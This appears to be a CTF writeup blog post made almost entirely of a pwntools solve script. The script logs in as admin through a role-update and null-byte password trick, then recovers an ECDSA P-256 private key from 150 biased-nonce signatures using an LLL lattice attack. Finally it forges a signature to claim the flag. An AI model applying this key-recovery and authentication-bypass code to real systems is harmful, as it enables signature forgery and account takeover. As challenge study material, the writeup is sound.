<-->

 

pwn+crypto?

 

 

__import__("os").environ["TERM"] = "xterm-256color"


from pwn import *

from cryptography.hazmat.primitives.asymmetric.utils import decode_dss_signature, encode_dss_signature
from binascii import unhexlify, hexlify

import warnings
warnings.filterwarnings("ignore", category=BytesWarning)
# context.log_level = "debug"

# r = process("./chall")
r = remote("13.209.82.80", 5333)


def register(id, pw):
    r.sendlineafter("Enter choice: ", "1")
    r.sendlineafter("Enter name: ", id)
    r.sendlineafter("Enter role: ", "admin")
    r.sendlineafter("Enter password: ", pw)

def login(id, pw):
    r.sendlineafter("Enter choice: ", "2")
    r.sendlineafter("Enter name: ", id)
    r.sendlineafter("Enter password: ", pw)

def update_role(id, role):
    r.sendlineafter("Enter choice: ", "3")
    r.sendlineafter("Enter name: ", id)
    r.sendlineafter("Enter a new role: ", role)

def reset_password(pw):
    r.sendlineafter("Enter choice: ", "4")
    r.sendlineafter("Enter new password: ", pw)

def sig(msg):
    r.sendlineafter("Enter choice: ", "5")
    r.sendlineafter("Enter message: ", msg)
    r.recvuntil("Message: ")
    used_msg = r.recvline()[:-1]
    r.recvuntil("Sig: ")
    used_sig = r.recvline()[:-1]
    der_signature = unhexlify(used_sig)
    r_, s = decode_dss_signature(der_signature)
    # return used_msg, used_sig
    return r_, s

def reset_nonce():
    r.sendlineafter("Enter choice: ", str(0xdeadbeef))


list_r = []
list_s = []
list_hm = []

register(str(1), str(1)*2)
login(str(1), str(1)*2)
update_role("admin", "a" * 32)
login("admin", b"\x00")


import os

num = 150

for _ in range(num):
    reset_password("a"*32)
    m = os.urandom(8).hex().encode()
    r_, s_ = sig(m)
    reset_nonce()
    list_r.append(r_)
    list_s.append(s_)
    list_hm.append(int(hashlib.sha256(m).hexdigest(), 16))


from Crypto.Util.number import *

n = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551
ln = len(list_r)
R = 2**248
A = Matrix(QQ, ln+2, ln+2)
for i in range(ln):
    r_ = list_r[i]
    s = list_s[i]
    hm = list_hm[i]
    tm = inverse(s, n) * r_
    am = -inverse(s, n) * hm
    A[i, i] = n
    A[ln, i] = tm
    A[ln+1, i] = am 

A[ln, ln] = R/n
A[ln+1, ln+1] = R



from ecdsa import NIST256p, ellipticcurve, numbertheory

# P-256 타원 곡선 설정
curve = NIST256p.curve
generator = NIST256p.generator
order = generator.order()

B = A.LLL()
for row in B:
    if row[-1] == R:
        d = int(row[-2] * n // R) % n
        print("개인키", d)
        print("개인키2", order - d)
        
        t = generator * d
        print("공개키", t.to_affine())


        t = generator * (order - d)
        print("공개키2", t.to_affine())

        d = order - d

        break

r.sendlineafter("Enter choice: ", str(6))
r.sendlineafter("Enter name: ", "admin")
pem_key = r.recvuntil("1.")[:-2]


from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import base64
import gmpy2

# 공개키 로드
public_key = serialization.load_pem_public_key(pem_key, backend=default_backend())

# 공개키에서 숫자 좌표 추출
numbers = public_key.public_numbers()
Qx = numbers.x
Qy = numbers.y

print("공개키", Qx, Qy)

curve = NIST256p.curve
a = curve.a()
b = curve.b()
p = curve.p()

# 특정 x 값 설정
x = Qx

# y^2 계산
rhs = (pow(x, 3, p) + a * x + b) % p

# y 계산 (모듈로 p에서의 제곱근)
y1 = gmpy2.powmod(rhs, (p + 1) // 4, p)  # 양의 제곱근
y2 = (-y1) % p  # 음의 제곱근

# 결과 출력
print("x:", x)
print("y1:", y1)
print("y2:", y2)


from ecdsa import SigningKey, NIST256p, BadSignatureError


curve = NIST256p

# 개인키 생성 (개인키 d를 사용하여 생성)
# private_key = SigningKey.from_secret_exponent(d, curve=curve)

# 메시지 정의
message = b"SHOW ME THE FLAG"

# 메시지 서명 생성
# signature = private_key.sign(message)

# rr, ss = decode_dss_signature(signature)

# # r과 s 값을 DER 형식의 서명으로 인코딩
# signature_der = encode_dss_signature(rr, ss)

# # 서명을 16진수 문자열로 변환하여 출력
# signature_hex = signature_der.hex()
# print("DER 형식의 서명 (hex):", signature_hex)

z = int.from_bytes(hashlib.sha256(message).digest(), byteorder='big')

# # 랜덤 값 k 선택
k = 156165121

# # R 계산 (R = k * G)
R = k * generator

# # r 계산 (R의 x 좌표를 사용)
r_ = R.x() % order

from ecdsa import NIST256p, ellipticcurve, numbertheory

# k의 모듈러 역수 계산
k_inv = numbertheory.inverse_mod(k, order)

# s 계산
s_ = (k_inv * (z + r_ * d)) % order

r_ = int(r_)
s_ = int(s_)

# r과 s 출력
print("r:", r_)
print("s:", s_)


# public_key = private_key.get_verifying_key()
# print(public_key.verify(signature, message))

from ecdsa import SigningKey, NIST256p, util
# rr, ss = util.sigdecode_string(signature, private_key.curve.order)

print(f"r: {r_}")
print(f"s: {s_}")

sig_ = encode_dss_signature(r_, s_).hex()

assert r_, s_ == decode_dss_signature(sig_)

print(sig_)


r.sendlineafter("Enter choice: ", str(0x13371337))
r.sendlineafter("Enter MessageLen: ", str(len(message) + 1))
msg = message.hex() + "00"
r.recvuntil("Enter Message: ")
for i in range(0, len(msg), 2):
    r.sendline(msg[i:i+2])
r.sendlineafter("Enter sigLen: ", str(len(sig_)//2))
r.recvuntil("Enter sig: ")
for i in range(0, len(sig_), 2):
    r.sendline(sig_[i:i+2])

r.interactive()

 

 

'writeups' 카테고리의 다른 글

2024 Blaz CTF - solana challs  (0) 2024.10.08
SekaiCTF 2024 - solana  (0) 2024.08.26
CrewCTF 2024 - blockchain(lightbook)  (0) 2024.08.05
HITCON CTF 2024 Quals(Lustrous, No-Exit Room, Flag Reader)  (0) 2024.07.15
justctf2024 teaser  (0) 2024.06.17

+ Recent posts